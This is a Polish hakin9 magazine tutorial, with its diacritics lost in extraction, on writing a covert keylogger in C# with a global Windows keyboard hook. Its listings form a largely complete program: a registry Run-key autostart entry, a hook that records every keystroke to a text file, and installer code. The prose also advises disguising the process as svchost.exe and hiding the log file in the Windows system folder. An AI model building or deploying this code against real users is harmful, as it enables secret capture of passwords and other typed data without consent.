You are on page 1of 8

C#.NET.

Podsuchiwanie klawiatury
Atak
Sawomir Orowski, Maciej Pakulski

stopie trudnoci

Skomplikowane i czsto aktualizowane haso, ktre oprcz liter


zawiera rwnie cyfry i znaki specjalne, to bardzo dobry sposb
obrony przed nieautoryzowanym dostpem. Pod warunkiem, e
nie jestemy podsuchiwani w trakcie jego wprowadzania

iszc o podsuchiwaniu hasa, nie


mamy oczywicie na myli przypadku podsuchiwania mwicego sobie
pod nosem uytkownika, ktry wanie wprowadza swoje haso. Chodzi nam o program,
ktry bez wiedzy uytkownika bdzie zapisywa wszystkie nacinite klawisze. Bdzie
go mg napisa nawet rednio zaawansowany programista, znajcy system Windows. Wida zatem, e jest to realne zagroenie. Przyjrzyjmy si teraz, jak system Windows opiekuje si uruchamianymi programami. Dziaanie
aplikacji okienkowych polega przede wszystkim na reagowaniu na zdarzenia. Zdarzenia to
nic innego jak wyniki interakcji uytkownika z
aplikacj. Jest to wic klikanie, przyciskanie,
upuszczanie, przeciganie oraz inne akcje,
ktre mona wykona w aplikacji. Piszc jaki
program pod Windows w rodowiskach RAD
(ang. Rapid Application Development), musimy stworzy metody zdarzeniowe zwizane
z konkretnymi zdarzeniami dla kontrolek aplikacji. W zalenoci od jzyka programowania
bd platformy uruchomieniowej mamy do
dyspozycji rne mechanizmy reakcji na zdarzenia w aplikacji. Dla platformy .NET bd to
delegacje, w C++ Bulider wskaniki na funk-

hakin9 Nr 01/2008

cje, a dla Javy specjalne obiekty nasuchujce. Skd jednak aplikacja wie, e jej przycisk zosta kliknity? Tak informacj dostaje
od systemu Windows. Utrzymuje on dla kadego uruchomionego programu kolejk, ktra przechowuje zdarzenia. Zdarzeniem, ktre nas najbardziej w tym momencie interesuje, jest nacinicie klawisza na klawiaturze.
Aby je przechwyci, musimy monitorowa komunikaty wysyane do uruchomionych w systemie aplikacji. Nie jest to zadanie specjalnie skomplikowane (nie musimy modyfikowa

Z artykuu dowiesz si

jak dziaaj haki w systemie Windows,


jak dodawa wpisy do rejestru systemowego,
jak z poziomu kodu C# podsuchiwa klawiatur.

Co powiniene wiedzie

www.hakin9.org

podstawy programowania zorientowanego


obiektowo,
podstawy dziaania systemu Windows,
podstawowa znajomo sieci komputerowych.

C#.NET. Podsuchiwanie klawiatury

np. jdra), poniewa system Windows udostpnia mechanizm hakw (ang. hooks). Zosta on ju opisany przez Jacka Matulewskiego w
numerze 4/2007, jednak pod nieco
innym ktem. My zajmiemy si uyciem hakw w kodzie C#. Bdziemy
zmuszeni do skorzystania z funkcji
WinAPI oraz metod specyficznych
dla Windows, co jest pogwaceniem
idei platformy uruchomieniowej.

Dodawanie
wpisw do autostartu

Idea platformy uruchomieniowej polega na przenaszalnoci programu


na poziomie kodu i aplikacji pomidzy systemami operacyjnymi. Jednak Linux nie posiada czego takiego, jak rejestr. W zwizku z tym nasz
program, pomimo tego, e jest pisany dla platformy .NET, bdzie dziaa poprawnie jedynie dla systemu
operacyjnego Windows. Inn kwesti pozostaje, czy firmie Microsoft
naprawd zaley na przenaszalnoci kodu pomidzy systemami innymi ni Windows. Zanim rozpoczniemy tworzenie hakw, napiszemy metod, ktra bdzie dodawaa wpisy
do autostartu. Pozwoli to uruchomi
nasz program przy kadym starcie
systemu. Poniewa, jak napisaem
wczeniej, rejestr systemowy jest
specyficzny dla Windows, twrcy
.NET postanowili wszystkie klasy z
nim zwizane umieci w przestrzeni nazw Microsoft, a nie System. Dane dotyczce automatycznie uruchamianych programw przechowuje
klucz Software\Microsoft\Windows\
CurrentVersion\Run rejestru systemowego. Jeeli zapiszemy ciek
z plikiem .exe w kluczu HKEY_CURRENT_USER, nasza aplikacja bdzie uruchamiana po wlogowaniu si
aktualnie zalogowanego uytkownika. Jeeli zapiszemy j w HKEY_LOCAL_MACHINE, program uruchamiany bdzie po wlogowaniu si dowolnego uytkownika. W naszej wersji niech bdzie to aktualny uytkownik. Musimy doda jeszcze w sekcji using przestrze nazw Microsoft.Win32. Metoda realizujca nasze zadanie przedstawiona jest na
Listingu 1.

Na pocztku metody znajduje si


deklaracja typw wyliczeniowych,
ktre przydadz nam si do okrelenia rodzaju operacji, jak chcemy

wykona (typ asOperation) oraz do


okrelenia, czy si ona udaa (asValue). Poniewa C# jest jzykiem silnie obiektowym, to wspomniane ty-

Listing 1. Metoda sprawdzajca, dodajca lub usuwajca wpis w


autostarcie systemu Windows
enum asOperation { asCheck, asWrite, asDelete };
enum asValue { yes, no, error };
private static asValue InsertInAutostart(string name, string exe, asOperation
operation)
{
const string key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
try
{
RegistryKey rg = Registry.CurrentUser.OpenSubKey(key, true);
switch (operation)
{
case asOperation.asCheck:
if (rg.GetValue(name) != null) return asValue.yes;
else
return asValue.no;
case asOperation.asWrite:
rg.SetValue(name, exe);
rg.Close();
return asValue.yes;
case asOperation.asDelete:
rg.DeleteValue(name);
rg.Close();
return asValue.yes;
}
return asValue.no;
}
catch
{
return asValue.error;
}
}

Listing 2. Import funkcji WinAPI


[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr
wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern int ToAscii(uint uVirtKey, uint uScanCode, byte[]
lpKeyState, ref char lpChar, uint flags);
[DllImport("user32.dll")]
private static extern bool GetKeyboardState(byte[] data);
[DllImport("user32.dll")]
static extern short GetKeyState(int nVirtKey);

Listing 3. Pola klasy TestDll


private
private
private
private
private
private
private

static char caughtChar;


static string path = "C:\\plik.txt";
const byte VK_SHIFT = 0x10;
const byte VK_CAPITAL = 0x14;
static bool CapsLockDown;
static bool ShiftDown;
const uint WM_KEYDOWN = 0x0100;

www.hakin9.org

hakin9 Nr 01/2008

Atak

py wyliczeniowe musimy zadeklarowa jako pola klasy reprezentujcej nasz program. Parametry, jakie przyjmuje nasza metoda, to nazwa klucza (zmienna name), cieka
dostpu i nazwa pliku wykonywalnego, ktry chcemy uruchomi (zmienna exe) oraz rodzaj operacji, jak
chcemy wykona (stworzony przez
nas typ wyliczeniowy asOperation).
Aby stworzy obiekt reprezentujcy klucz rejestru, uywamy metody OpenSubKey. W zalenoci od tego, czy jest to metoda wasnoci CurrentUser, czy LocalMachine,
wpis stworzony bdzie odpowiednio w HKEY_CURRENT_USER lub
w HKEY_LOCAL_MACHINE. Do
sprawdzenia wartoci klucza suy
metoda GetValue. Do zapisu klucza
uywamy metody SetValue, a do jego usunicia DeleteValue. Kada z
tych metod moe generowa wyjtek, dodatkowo sam proces tworzenia obiektu klasy RegistryKey moe
spowodowa zgoszenie wyjtku w
zwizku z tym cao umieszczamy
w bloku ochronnym try-catch. Wyjtki mog by spowodowane brakiem
dostpu do rejestru lub konkretnego
klucza. Wywoanie tej metody najlepiej umieci w kodzie wykonywanym w trakcie uruchamiania programu. Moe to by konstruktor formy

bd zdarzenie Load w przypadku


aplikacji Windows Forms. Moemy
wtedy sprawdzi, czy istnieje w rejestrze odpowiedni klucz i w przypadku jego braku utworzy go.
Umiemy ju umieszcza nasz
aplikacj w autostarcie. Jednak po
uruchomieniu bdzie nadal widoczna w oknie menadera zada. W
systemach Windows poczwszy od
2000 nie ma (na szczcie) atwego sposobu, aby usun nazw procesu z menadera zada. Ale moemy udawa proces systemowy. Wystarczy nazwa nasz program np.
svchost.exe. Ta prosta sztuczka zadziaa w wikszoci przypadkw.
Mona jeszcze uruchomi program
w trybie usugi.

Windows hooks

Jak wspomnielimy na pocztku,


dziaanie systemu Windows opiera
si na przekazywaniu komunikatw
(ang. Windows messages). Haki
pozwalaj nam na zainstalowanie
specjalnych funkcji monitorujcych,
ktrych zadaniem jest przetwarzanie komunikatw Windows, nim dotr do konkretnej aplikacji. Do dyspozycji mamy kilka typw hakw i
dla kadego takiego typu system
tworzy tzw. acuch funkcji monitorujcych. W momencie zajcia zda-

Listing 4. Metoda zapisujca przechwycone klawisze do pliku


tekstowego
private static void SaveChar(char theChar, string where)
{
if(File.Exists(where))
{
using (StreamWriter sw = File.AppendText(where))
{
sw.Write(theChar);
// nowa linia
if (theChar == '\r')
sw.Write('\n');
}
}
else
{
using (StreamWriter sw = File.CreateText(where))
{
sw.Write(theChar);
if (theChar == '\r')
sw.Write('\n');
}
}
}

hakin9 Nr 01/2008

www.hakin9.org

rzenia zwizanego z okrelonym


typem hakw komunikat Windows
kierowany jest najpierw do funkcji
monitorujcych znajdujcych si
w okrelonym acuchu. Typ haka
determinuje czynnoci, ktre funkcja monitorujca moe przeprowadzi na przechwyconym komunikacie. Niektre typy pozwalaj tylko na odczyt danych z komunikatu. Istniej rwnie takie, dziki ktrym komunikat moe by zmodyfikowany a take moe nie dotrze
do wybranej aplikacji. Funkcje monitorujce mog mie zasig lokalny bd globalny (zwany rwnie
systemowym). Zasig lokalny daje funkcji monitorujcej moliwo
przechwycenia komunikatw zdarze, ktre zaszy tylko wewntrz
wtku, w ktrym funkcja zostaa
zainstalowana. Wtek mona kojarzy z konkretnym programem. Zasig globalny pozwala na odbieranie komunikatw zdarze, ktre zaszy w kadym wtku dziaajcym
w systemie. Jednake, jeeli funkcja monitorujca ma mie zasig
globalny, jej kod musi by umieszczony w bibliotece czonej dynamicznie (DLL).
Program podsuchujcy klawiatur bdzie si skada z dwch projektw. Pierwszy bdzie zawiera
bibliotek DLL, poniewa chcemy
przechwytywa komunikaty wygenerowane dla kadej aplikacji dziaajcej w systemie. Drugi projekt
bdzie odpowiedzialny za zainstalowanie funkcji monitorujcej. Funkcja monitorujca bdzie skadow
pisanej przez nas klasy, wic powinnimy uywa raczej okrelenia
metoda. My jednak pozostaniemy
przy terminie funkcja monitorujca,
aby podkreli jej pochodzenie z biblioteki systemowej. Uywajc jedynie platformy .NET nie mamy moliwoci wykorzystania obiektw, ktre pozwalayby nam na korzystanie
z hakw. Jest to naturalna konsekwencja zwizana z przenaszalnoci kodu. Bdziemy musieli wic
wykorzysta niektre funkcje WinAPI
z bibliotek DLL systemu Windows.
Do importu funkcji z bibliotek DLL
suy polecenie DllImport. Aby

C#.NET. Podsuchiwanie klawiatury

wygodnie go uywa, do projektu


w sekcji using naley doda przestrze nazw System.Runtime.Intero
pServices. Polecenie DllImport ma
nastpujc skadni:
[DllImport(nazwa_pliku_DLL)]
Modyfikator _ dostpu

static

extern

typ _ zwracany NazwaFunkcji(

ci od typu haka. Kolejne z importowanych funkcji umoliwiaj odczytanie znaku wcinitego klawisza klawiatury z odebranego komunikatu.
Funkcja ToAscii suy do zamiany
kodu wirtualnego klawisza na odpowiedni znak w kodzie ASCII. Jej parametry to:

parametry};

Parametry s opcjonalne, poniewa


istnieje wiele funkcji, ktre nie przyjmuj adnych parametrw. Warto
doda, i importujc funkcje WinAPI
moemy napotka problem z wyborem odpowiedniego typu dla wskanikw i uchwytw. Dla platformy
.NET s one reprezentowane przez
struktur IntPtr.

Tworzymy bibliotek
czon dynamicznie

W czci tej stworzymy bibliotek


DLL, ktra bdzie zawiera funkcj
monitorujc. Wanie t bibliotek bdziemy wstrzykiwa w strumie komunikatw systemu Windows. Do przygotowania programu uyjemy darmowego rodowiska Visual C# 2005 Express Edition. Mona je pobra ze stron firmy Microsoft. Odpowiedni link znajduje si w ramce W Sieci. Uruchamiamy Visual C# 2005 i wybieramy
File > New Project > Class Library i nadajemy naszemu projektowi
nazw TestDll. Jak zawsze, rodowisko Visual C# 2005 Expres Edition generuje pewien szablon kodu. Dodamy teraz do utworzonego
szkieletu klasy odpowiednie metody i pola. Zaczniemy od zaimportowania czterech funkcji WinAPI, ktre pochodzi bd z biblioteki user32.dll (Listing 2).
Pierwsza funkcja to CallNextHookEx. Ma ona za zadanie przekaza komunikat otrzymany przez
funkcj monitorujc do kolejnej
funkcji monitorujcej. Jej pierwszym
parametrem jest uchwyt do aktualnie zainstalowanej funkcji monitorujcej. Pozostae parametry zostan
omwione, gdy zdefiniujemy funkcj
monitorujc. Warto zwracana
przez funkcj jest rna w zaleno-

uVirtKey

wirtualny kod klawi-

sza,

tzw. hardware scan


code. Najbardziej znaczcy bit
tego parametru jest ustawiony,
jeeli klawisz nie jest wcinity,
lpKeyState 256-elementowa tablica, ktra zawiera aktualny stan
klawiatury. Kady element tablicy
przechowuje status jednego klawisza,
lpChar parametr, w ktrym zostanie zapisany znak w kodzie
ASCII,
flags flagi dotyczce menu.
uScanCode

Jeeli funkcja zadziaa poprawnie,


wwczas zwracana jest warto
niezerowa. Do okrelania aktualnego stanu klawiatury suy kolejna
funkcja o nazwie GetKeyboardState.
Parametrem funkcji jest 256-elementowa tablica zmiennych typu byte, w ktrej zostanie zapisany aktualny stan klawiatury. Jeeli funkcja zadziaa poprawnie, rw-

nie zwraca warto rn od 0. W


celu okrelenia stanu pojedynczego klawisza skorzystamy z funkcji GetKeyState. Parametrem funkcji jest wirtualny kod klawisza, ktrego stan chcemy okreli. Klawisz
moe by wcinity, zwolniony lub
przeczony. Terminem klawisz jest
przeczony bdziemy oznacza
stan, w ktrym wcinicie wybranego klawisza powoduje uaktywnienie pewnego trybu (np. wcinicie klawisza Caps Lock powoduje
wczenie trybu pisania duymi literami). Warto zwracana przez
funkcj GetKeyState informuje nas
o stanie wybranego klawisza. Jeeli najbardziej znaczcy bit zwracanej wartoci jest ustawiony, to
klawisz jest wcinity. W przeciwnym wypadku jest zwolniony. Jeeli
najmniej znaczcy bit jest ustawiony, wwczas wybrany klawisz jest
przeczony. W przeciwnym wypadku nie jest przeczony. Moemy teraz przej do dodania pl do
naszej klasy (Listing 3).
W pierwszym z nich zapiszemy
nasz przechwycony znak (caughtChar). Pole path typu string bdzie
okrelao ciek do pliku, w ktrym bdziemy zapisywa przechwycone znaki. Jest on plikiem tekstowym, aby mona byo w prosty sposb sprawdzi dziaanie programu.

Listing 5. Metoda odczytujca znak z przechwyconego komunikatu


private static char GetChar(int vkCode)
{
byte[] data = new byte[256];
GetKeyboardState(data);
char myChar = ' ';
uint scan = 0;
ToAscii((uint)vkCode, scan, data, ref myChar, 0);
return myChar;
}

Listing 6. Definicja struktury KBDLLHOOKSTRUCT


[StructLayout(LayoutKind.Sequential)]
public struct KBDLLHOOKSTRUCT
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}

www.hakin9.org

hakin9 Nr 01/2008

Atak

Jednake w celu lepszego ukrycia


tego pliku moglibymy np. zapisywa
znaki w pliku binarnym i umieci go
w folderze $Windows\System (jeeli posiadamy do niego prawa zapisu),
gdzie przecitny uytkownik rzadko
zaglda jest zreszt wiele innych
miejsc na dysku, gdzie nasz plik moe spokojnie egzystowa, nie nkany przez uytkownika. Oczywicie
nazwa pliku te powinna by wtedy inna.
Kolejne cztery pola zwizane s
z klawiszami Shift i Caps Lock. Stae VK _ SHIFT i VK _ CAPITAL oznacza-

j odpowiednio kody klawiszy wirtualnych Shift i Caps Lock. Pole ShiftDown bdzie przyjmowa warto true, jeeli klawisz Shift jest
wcinity. W przeciwnym wypadku pole to przyjmie warto false.
Pole CapsLockDown bdzie przyjmowa warto true, jeeli klawisz
CapsLock zosta przeczony, powodujc uaktywnienie trybu pisania duymi literami. Natomiast po
wyczeniu tego trybu polu zostanie
przypisana warto false. Ostatnim
polem bdzie kod komunikatu systemu Windows, ktry jest generowa-

Listing 7. Funkcja monitorujca


public static IntPtr MonitorFunction(int code, IntPtr wParam, IntPtr lParam)
{
try
{
if (wParam.ToInt64() == WM_KEYDOWN && code >= 0)
{
KBDLLHOOKSTRUCT hookStruct =
(KBDLLHOOKSTRUCT)Marshal.PtrToStructure(l
Param, typeof(KBDLLHOOKSTRUCT));
// Shift wcinity ??
ShiftDown = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true :
false);
// Tryb pisania duymi literami wczony ??
CapsLockDown = (GetKeyState(VK_CAPITAL) != 0 ? true : false);
caughtChar = GetChar(hookStruct.vkCode);
if ((CapsLockDown ^ ShiftDown) && Char.IsLetter(caughtChar))
caughtChar = Char.ToUpper(caughtChar);
if ((caughtChar == 0x0d && hookStruct.vkCode == 0x0d) ||
(caughtChar > 0x20 && caughtChar <= 0x7e) ||
(caughtChar == 0x20 && hookStruct.vkCode == 0x20))
SaveChar(caughtChar, path);
}
}
catch {}
return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);
}

ny w momencie wcinicia niesystemowego klawisza klawiatury.


Moemy teraz przej do napisania dwch prywatnych metod,
ktre wykorzystywa bdzie funkcja monitorujca. Pierwsza z nich
bdzie suy do zapisu okrelonego znaku w wybranym miejscu. Na
pocztku musimy doda przestrze
nazw System.IO. Kod metody jest
pokazany na Listingu 4.
Na pocztku nastpuje sprawdzenie, czy wybrany plik ju istnieje. Jeeli tak, dopisujemy do niego
kolejne dane. Jeeli nie istnieje, tworzymy go i zapisujemy w nim dane.
Warto zwrci uwag, e dziki uyciu sowa kluczowego using nie musimy si martwi o zamknicie pliku.
Druga metoda pozwoli nam na
odczytanie z przechwyconego komunikatu znaku odpowiadajcego
wcinitemu klawiszowi. Jako parametr przyjmuje ona kod wirtualnego
klawisza. Funkcja zwraca odczytany znak. Jej definicja jest pokazana
na Listingu 5.
Dziaanie tej metody sprowadza
si do uycia dwch wczeniej zaimportowanych funkcji WinAPI z odpowiednimi parametrami. Moemy teraz przej do meritum sprawy, czyli
napisania definicji funkcji monitorujcej (Listing 6). Funkcja bdzie przyjmowa nastpujce parametry:

Listing 8. Importowanie funkcji WinAPI


[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int code,
HookProc func, IntPtr
hInstance, int threadID);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("Kernel32.dll")]
private static extern IntPtr GetModuleHandle(string moduleName);

Listing 9. Definicja pl klasy HookClass


private delegate IntPtr HookProc(int code, IntPtr wParam,
IntPtr lParam);
private static HookProc hookProc;
private IntPtr result;
private const int WH_KEYBOARD_LL = 0x0d;

hakin9 Nr 01/2008

okrela kod, na podstawie ktrego funkcja monitorujca przetwarza otrzymany komunikat. Jeeli parametr ten jest
mniejszy od zera, to wymagane jest, aby funkcja monitorujca
wywoaa funkcj CallNextHookEx
i zwrcia warto zwracan
przez t funkcj,
wParam okrela identyfikator komunikatu klawiatury,
lParam reprezentuje wskanik do struktury KBDLLHOOKSTRUCT. Aby mc korzysta z
tej struktury, musimy j przedtem
zdefiniowa. W tym celu przed
definicj klasy dodajemy kod z Listingu 6.
code

Z naszego punktu widzenia najwaniejsze pole tej struktury to vkCode.

www.hakin9.org

C#.NET. Podsuchiwanie klawiatury

W Sieci

http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge artyku opisujcy


haki w systemie Windows,
http://msdn2.microsoft.com/en-us/library/ms997537.aspx kolejny artyku opisujcy haki w systemie Windows,
http://msdn2.microsoft.com/en-us/express/aa975050.aspx witryna Microsoft,
skd mona pobra rodowisko Visual C# 2005 Express Edition,
http://www.codeproject.com zbir bardzo wielu przykadw aplikacji dla platformy .NET i nie tylko. Naprawd godny polecenia,
http://www.codeguru.pl polska strona dla programistw .NET,
http://msdn2.microsoft.com dokumentacja MSDN. Znajdziesz tu opisy wszystkich klas, wasnoci i metod, jakie zawiera platforma .NET wraz z przykadowymi
programami.

Posuy nam ono jako parametr przekazywany do funkcji ToAscii. Parametry code, wParam oraz lParam s odpowiednio drugim, trzecim i czwartym
parametrem funkcji CallNextHookEx.
Na pocztku metody sprawdzamy, czy nastpio zdarzenie wcinicia klawisza niesystemowego oraz
czy parametr code ma warto wiksz bd rwn zero. Uywamy statycznej metody PtrToStructure klasy
Marshal w celu zamiany parametru
lParam na struktur KBDLLHOOKSTRUCT. Metoda ta jako pierwszy
parametr przyjmuje wskanik do niezarzdzanego bloku pamici (wskaniki na platformie .NET s reprezentowane przez struktur IntPtr). Drugi parametr to typ obiektu, ktry ma
utworzy. Wartoci zwracan jest
nowo utworzony obiekt klasy Object.
Zawiera on dane wskazywane przez
wskanik przekazany jako pierwszy
parametr. Zwracan warto rzutujemy jeszcze na struktur KBDLLHOOKSTRUCT. Pierwsza instrukcja warunkowa if ustala wielko znakw
bdcych literami. Druga konstrukcja if dba, aby tylko wybrane znaki
byy zapisywane do pliku.
Biblioteka DLL zostaa ju stworzona. Kolejnym krokiem bdzie
stworzenie projektu, ktry uyje tej
biblioteki w celu monitorowania klawiatury.

Instalujemy funkcj
monitorujc

Zaczynamy od stworzenia nowego


projektu Windows Forms Application. Nadajemy mu nazw TestHo-

oks. Do projektu dodajemy now klas przez wybranie opcji Project >
Add Class. W polu Name wpisujemy
HookClass. W klasie tej umiecimy
kod umoliwiajcy uruchomienie monitorowania klawiatury. Forma Form1
w tym projekcje bdzie symulowaa pewn aplikacj, w ktrej istnieje
moliwo uycia opcji monitorowania klawiatury. Moemy teraz przej
do napisania definicji klasy HookClass. Zaczniemy od importu potrzebnych funkcji WinAPI (Listing 8).
Haki s instalowanie przez wywoanie funkcji SetWindowsHookEx.
Parametry tej funkcji to:

okrela typ haka, jaki


chcemy zainstalowa,

idHook

delegacja dla zarejestrowanej funkcji monitorujcej,


hInstance uchwyt do biblioteki DLL, ktra zawiera definicj
funkcji monitorujcej,
threadID okrela identyfikator
wtku, z ktrym ma by zwizana funkcja monitorujca.
func

Jeeli funkcja ta zadziaa poprawnie, zwrci uchwyt do funkcji monitorujcej. W przeciwnym wypadku zwrci warto null. Gdy ju nie
chcemy przechwytywa wybranych
komunikatw, moemy odinstalowa funkcj monitorujc. Suy do
tego funkcja UnhookWindowsHookEx.
Jej parametr to uchwyt do funkcji
monitorujcej, ktry otrzymujemy
jako warto zwracan przez funkcj SetWindowsHookEx. Jeeli funkcja
zadziaa poprawnie, zwracana warto jest niezerowa. W przeciwnym
wypadku zwracan wartoci jest
zero. Funkcja GetModuleHandle uzyskuje uchwyt do wybranego moduu, ktrego nazw przekazujemy jako parametr (plik .dll lub .exe). Jeeli funkcja zadziaa prawidowo,
wwczas zwracan wartoci jest
uchwyt do danego moduu.
W kolejnym kroku zdefiniujemy
delegacj dla funkcji monitorujcej. Jej sygnatura i typ musz zatem by zgodne z sygnatur i ty-

Listing 10. Metoda GetHookProc


private bool GetHookProc()
{
try
{
string sc = Environment.CurrentDirectory + "\\" + "TestDll.dll";
Assembly a = Assembly.LoadFrom(sc);
Type[] tab = a.GetExportedTypes();
MethodInfo methodInfo = null;
foreach (Type t in tab)
{
methodInfo = t.GetMethod("MonitorFunction");
}
hookProc = (HookProc)Delegate.CreateDelegate(typeof(HookProc),
methodInfo);
return true;
}
catch
{
return false;
}
}

www.hakin9.org

hakin9 Nr 01/2008

Atak

pem zwracanym funkcji monitorujcej. Po zdefiniowaniu delegacji tworzymy jej referencj. Warto podkreli, e obiekt delegacji musi by zadeklarowany jako static. Potrzebne nam bdzie take pole, w ktrym zapiszemy uchwyt do funkcji

monitorujcej zwracany przez funkcj SetWindowsHookEx. Nazwiemy je


result. Ostatnim polem bdzie staa
oznaczajca typ haka, jaki chcemy
zainstalowa. Nasza funkcja ma za
zadanie przechwytywa komunikaty klawiatury, wic parametr ten b-

Listing 11. Metoda instalujca oraz usuwajca funkcj monitorujc


public bool InstallHook()
{
try
{
if (GetHookProc())
{
result = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, GetModuleHan
dle("TestDll.dll"), 0);
return true;
}
else
return false;
}
catch
{
return false;
}
}
public void CloseHook()
{
UnhookWindowsHookEx(result);
}

Listing 12. Definicja klasy Form1


using
using
using
using
using
using
using

System;
System.Collections.Generic;
System.ComponentModel;
System.Data;
System.Drawing;
System.Text;
System.Windows.Forms;

namespace TestHooks
{
public partial class Form1 : Form
{
private HookClass hookClass;
private bool hookInstallDone = true;
public Form1()
{
InitializeComponent();
hookClass = new HookClass();
if(!hookClass.InstallHook())
hookInstallDone = false;
}
private void OnClosing(object sender, EventArgs e)
{
if(hookInstallDone)
hookClass.CloseHook();
}
}
}

hakin9 Nr 01/2008

www.hakin9.org

dzie mia warto 0x0d i nazwiemy


go WH _ KEYBOARD _ LL . Kroki te przedstawia Listing 9.
Teraz zajmiemy si napisaniem
prywatnej metody GetHookProc,
dziki ktrej stworzymy obiekt delegacji HookProc z zarejestrowan
funkcj monitorujc. W projekcie przyjmujemy, e biblioteka DLL
nosi nazw TestDll, znajduje si w
tym samym katalogu, co plik wykonywalny oraz e nazwa funkcji monitorujcej to MonitorFunction. Kod
metody jest przedstawiony na Listingu 10.
W metodzie tej mamy zaprezentowany jeden ze sposobw importowania metod z bibliotek czenia
dynamicznego, stworzonych z wykorzystaniem Visual C#. Aby mc
to zrobi, musimy doda do projektu przestrze nazw System.Reflection. Na pocztku tworzymy zmienn typu string, ktra zawiera ciek do pliku DLL, z ktrego chcemy
importowa metod. Nastpnie
tworzymy obiekt klasy Assembly, reprezentujcy tzw. pakiet kodu (ang.
assembly). Pakietem kodu moe by zarwno biblioteka czona
dynamicznie, jak i plik wykonywalny. Obiekt klasy Assembly jest tworzony przez wywoanie statycznej
metody tej klasy LoadFrom . Jej
parametrem jest cieka do pakietu kodu, ktry chcemy zaadowa. Metoda zwraca nam nowo
utworzony obiekt klasy Assembly.
Kolejnym krokiem jest wywoanie metody GetExportedTypes klasy Assembly. Metoda ta zwraca publiczne typy znajdujce si w okrelonym pakiecie kodu, ktre uytkownik moe wykorzysta w swojej zewntrznej aplikacji. Uzyskujemy w ten sposb tablic obiektw
klasy Type. Nastpnie deklarujemy
pust referencj do obiektu klasy
MethodInfo. Teraz musimy przeszuka nasze typy w celu odnalezienia
typu bdcego klas zawierajc
definicj funkcji monitorujcej. Najlepiej do tego celu nadaje si ptla foreach. Wewntrz ptli uywamy metody GetMethod do sprawdzenia, czy dany typ zawiera definicj
funkcji monitorujcej. Jeeli znaj-

C#.NET. Podsuchiwanie klawiatury

dziemy taki typ, wwczas GetMethod


zwraca nam obiekt typu MethodInfo,
w przeciwnym wypadku bdzie to
warto null.
Pora teraz na stworzenie obiektu delegacji. Wykorzystamy do tego
statyczn metod klasy Delegate o
nazwie CreateDelegate, ktra przyjmuje dwa parametry. Pierwszym z
nich jest typ delegacji, jaki ma zosta stworzony. Drugi to obiekt typu MethodInfo. Aby uzyska typ
naszej delegacji, uywamy operatora typeof. Poniewa metoda
CreateDelegate zwraca obiekt typu
Delegate, musimy rzutowa zwracany typ na typ naszej delegacji.
Metoda zwraca warto rn od
zera, gdy uda si utworzy delegacj z zarejestrowan funkcj monitorujc, w innym wypadku zwraca zero.

Moemy teraz przej do


napisania
publicznej
metody
InstallHook, ktra posuy nam do
zainstalowania funkcji monitorujcej. Definicj tej metody przedstawia Listing 11.
Warto zwrci uwag, e identyfikator wtku rwna si 0. Dzieje si
tak, poniewa chcemy powiza nasz funkcj monitorujc z wszystkimi istniejcymi wtkami.
Odinstalowanie funkcji monitorujcej odbywa si przez wywoanie publicznej metody CloseHook,
ktrej definicj przedstawia rwnie
Listing 11.
Moemy teraz przej do stworzenia obiektu naszej klasy. Przechodzimy do widoku formy Form1
i naciskamy F7. Przypominamy,
e forma reprezentuje w naszym
projekcie pewn aplikacj, w kt-

O autorach

Sawomir Orowski z wyksztacenia fizyk. Obecnie jest doktorantem na Wydziale


Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikoaja Kopernika w Toruniu. Zajmuje si symulacjami komputerowymi ukadw biologicznych (dynamika molekularna) oraz bioinformatyk. Programowanie jest nieodzown czci jego pracy naukowej i dydaktycznej. Ma dowiadczenie w programowaniu w jzykach C, C++, Delphi, Fortran, Java i Tcl. Z jzykiem C# i platform .NET pracuje od 2002 roku. Jest autorem ksiek informatycznych.
Strona domowa: http://www.fizyka.umk.pl/~bigman/.
Kontakt z autorem: bigman@fizyka.umk.pl.
Maciej Pakulski absolwent studiw inynierskich na kierunku Fizyka Techniczna
Wydziau Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikoaja Kopernika
w Toruniu. Obecnie na studiach magisterskich. Programowaniem zajmuje si od 2004
roku. Potrafi programowa biegle w jzykach C/C++, Java, VHDL. Programowaniem
w jzyku C#, a take platform .NET zajmuje si od 2006 roku.
Kontakt z autorem: mac_pak@interia.pl.

www.hakin9.org

rej chcemy mie moliwo uycia


funkcji monitorujcej. Jej kod przedstawia Listing 12.
W konstruktorze Form1 tworzymy nowy obiekt klasy HookClass i
wywoujemy funkcj monitorujc. Monitorowanie powinno zosta
zatrzymane w momencie, gdy aplikacja skoczy dziaanie. W zwizku z tym dla zdarzenia FormClosing
dodajemy
metod
zdarzeniow, ktra wyczy nasz hak. Pole hookInstallDone zabezpiecza
przed prb odinstalowania funkcji
monitorujcej, gdy nie zostaa ona
wczeniej zainstalowana.

Podsumowanie

Artyku ten opisuje uycie hakw


systemu Windows w celu podsuchiwania klawiatury. Jednak mechanizm hakw nie zosta stworzony po to, eby umoliwi pisanie
narzdzi hakerskich. Haki nadaj
si wietnie wszdzie tam, gdzie
zachodzi potrzeba nadzorowania
jednej aplikacji przez inn (np. tryb
debuggera, aplikacje szkoleniowe).
Jeli nie podoba nam si dziaanie
jakie aplikacji w zwizku z konkretnym zdarzeniem, moemy napisa wasn metod zdarzeniow
i podpi si z ni za pomoc mechanizmu hakw do aplikacji. Mona te napisa wasny hak, ktry
bdzie w stanie wyczy inne haki. Jak wida, moliwoci jest wiele
ale ta swoboda stanowi jednoczenie due zagroenie, co mamy
nadziej pokaza ten artyku. l

hakin9 Nr 01/2008

You might also like